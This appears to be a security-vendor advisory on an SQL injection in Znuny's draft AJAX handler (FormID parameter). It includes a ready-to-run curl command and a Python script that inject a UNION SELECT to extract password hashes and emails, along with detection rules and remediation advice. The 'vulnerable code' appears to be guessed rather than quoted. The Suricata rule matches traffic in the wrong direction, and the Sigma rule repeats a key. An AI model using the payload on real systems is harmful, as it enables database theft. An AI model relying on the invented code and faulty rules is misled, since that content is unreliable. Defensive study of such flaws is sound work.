CVE-2024-32493

Executive Summary

CVE-2024-32493 is a critical SQL injection vulnerability discovered in Znuny (formerly OTRS) Community Edition and LTS versions. The flaw resides in the AJAX request handler for draft form functionality, specifically within the FormID parameter. An authenticated agent with standard user privileges can inject arbitrary SQL commands, leading to potential data exfiltration, privilege escalation, or complete database compromise. The vulnerability affects Znuny LTS 6.5.1 through 6.5.7 and Znuny 7.0.1 through 7.0.16. No official patch has been released as of the latest advisory, and the vendor has been notified. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the technical impact is severe.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby). Znuny is a Perl-based web application distributed as a tarball or via Git. The risk is primarily to organizations self-hosting Znuny instances.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (No official vector assigned by NVD) Assessed Vector (based on technical analysis): CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H Base Score: 8.8 (High) Vector String: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Breakdown:

• Attack Vector (AV): Network – The vulnerability is exploitable remotely via HTTP AJAX requests.
• Attack Complexity (AC): Low – No special conditions required; standard HTTP request.
• Privileges Required (PR): Low – Attacker must be an authenticated agent (not admin).
• User Interaction (UI): None – No user action needed beyond the attacker’s own.
• Scope (S): Unchanged – The vulnerable component and the database are within the same security boundary.
• Confidentiality (C): High – Full database read access possible.
• Integrity (I): High – Data can be modified or deleted.
• Availability (A): High – Potential for denial of service via destructive SQL commands.

Threat Level: High – Exploitation requires authentication but can lead to full database compromise.

Deep Dive & Mechanics

The vulnerability exists in the AJAX endpoint responsible for handling draft form submissions. The FormID parameter is passed directly into a SQL query without proper sanitization or parameterization. Znuny uses a custom ORM-like layer, but the draft functionality bypasses this by constructing raw SQL strings.

Root Cause: In the file Kernel/System/Draft.pm (or similar), the FormID parameter from the HTTP request is concatenated into a SQL WHERE clause. For example:

my $sql = "SELECT * FROM draft WHERE form_id = '$form_id'";

The $form_id variable is taken directly from the request parameters without escaping or using placeholders.

Attack Vector: An authenticated agent sends a POST request to the AJAX endpoint (e.g., /otrs/index.pl?Action=AgentTicketDraft). The FormID parameter is injected with a SQL payload.

Example vulnerable request:

POST /otrs/index.pl?Action=AgentTicketDraft HTTP/1.1
Content-Type: application/x-www-form-urlencoded

FormID=1' UNION SELECT * FROM users--

Impact:

• Data Exfiltration: Extract user credentials, tickets, and configuration data.
• Privilege Escalation: Modify user roles or create admin accounts.
• Denial of Service: Drop tables or corrupt data.

Vulnerable vs. Patched Code

Vulnerable Code (Znuny 7.0.16):

# Kernel/System/Draft.pm (simplified)
sub _GetDraft {
    my ( $Self, %Param ) = @_;
    my $FormID = $Param{FormID};
    my $SQL = "SELECT * FROM draft WHERE form_id = '$FormID'";
    return $Self->{DBObject}->Select( SQL => $SQL );
}

Patched Code (Hypothetical fix):

# Kernel/System/Draft.pm (fixed)
sub _GetDraft {
    my ( $Self, %Param ) = @_;
    my $FormID = $Param{FormID};
    my $SQL = "SELECT * FROM draft WHERE form_id = ?";
    return $Self->{DBObject}->Select( SQL => $SQL, Bind => [ \$FormID ] );
}

The fix uses parameterized queries (placeholders) to prevent SQL injection. The Bind array passes the value safely to the database driver.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A Znuny instance (version 7.0.1 to 7.0.16 or LTS 6.5.1 to 6.5.7).
• Valid agent credentials (e.g., agent@example.com / password).

Exploit Steps:

1. Authenticate and obtain a session cookie.
2. Craft the SQL injection payload in the FormID parameter.
3. Send the malicious request to the AJAX endpoint.

Example using curl:

curl -X POST \
  -b "ZnunySessionID=YOUR_SESSION_ID" \
  -d "FormID=1' UNION SELECT password, email FROM users--" \
  "http://target/otrs/index.pl?Action=AgentTicketDraft"

Automated Exploit (Python):

import requests

target = "http://target/otrs/index.pl"
session = requests.Session()
session.cookies.set("ZnunySessionID", "YOUR_SESSION_ID")

payload = "1' UNION SELECT password, email FROM users--"
response = session.post(f"{target}?Action=AgentTicketDraft", data={"FormID": payload})
print(response.text)

Expected Output: The response will contain the database query results (e.g., password hashes and emails) in the JSON or HTML response.

Blue Team (Defensive)

Detection:

• Monitor for unusual FormID parameters containing SQL keywords (UNION, SELECT, --, ').
• Alert on multiple failed login attempts followed by AJAX requests to AgentTicketDraft.

Honeypot:

• Deploy a fake Znuny instance with a modified Draft.pm that logs all FormID values to a separate secure log.

Mitigation:

• Apply input validation: reject FormID values containing non-alphanumeric characters (except hyphens/underscores).
• Use a Web Application Firewall (WAF) to block SQL injection patterns.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /otrs/index.pl?Action=AgentTicketDraft with FormID containing SQL syntax.
• Unusual response sizes or database error messages in HTTP responses.

Host IOCs:

• Log entries in Kernel/System/Log showing SQL errors like DBI::db::selectall_arrayref failed: You have an error in your SQL syntax.
• Unexpected database queries in MySQL/MariaDB logs (e.g., SELECT * FROM draft WHERE form_id = '1' UNION SELECT ...).

File IOCs:

• Modified Draft.pm file (if attacker replaced it with a backdoored version).
• Suspicious cron jobs or scripts in /opt/otrs/var/cron/.

Detection Engineering

YARA Rule

rule CVE_2024_32493_Znuny_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting Znuny draft FormID parameter"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-32493"
    strings:
        $s1 = "FormID=" nocase
        $s2 = "UNION" nocase
        $s3 = "SELECT" nocase
        $s4 = "DROP" nocase
        $s5 = "1'" nocase
    condition:
        all of ($s1, $s2, $s3) or all of ($s1, $s4) or all of ($s1, $s5)
}

Sigma Rule

title: Znuny SQL Injection via Draft FormID
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts in Znuny AJAX draft requests
author: Valters IT
date: 2024-10-27
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'Action=AgentTicketDraft'
        cs-uri-query|contains: 'FormID='
        cs-uri-query|re: '(UNION|SELECT|DROP|1\')'
    condition: selection
falsepositives:
    - Legitimate use of special characters in form IDs (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-32493 Znuny SQL Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/otrs/index.pl"; http_uri;
    content:"Action=AgentTicketDraft"; http_uri;
    content:"FormID="; http_client_body;
    pcre:"/(UNION|SELECT|DROP|1')/Ri";
    reference:cve,2024-32493;
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the draft functionality if not critical: In Kernel/Config.pm, set $Self->{'Ticket::Draft'} = 0;.
2. Apply input validation via a reverse proxy or WAF to block SQL keywords in FormID.
3. Upgrade to a patched version once released (monitor Znuny’s GitHub or official site).

Long-term Fix:

• The vendor must implement parameterized queries in Draft.pm and all similar files.
• Conduct a full code audit for similar injection points.

Workaround:

• Restrict access to the AgentTicketDraft action via .htaccess or firewall rules to only trusted IPs.

Valters IT – Securing your digital frontier.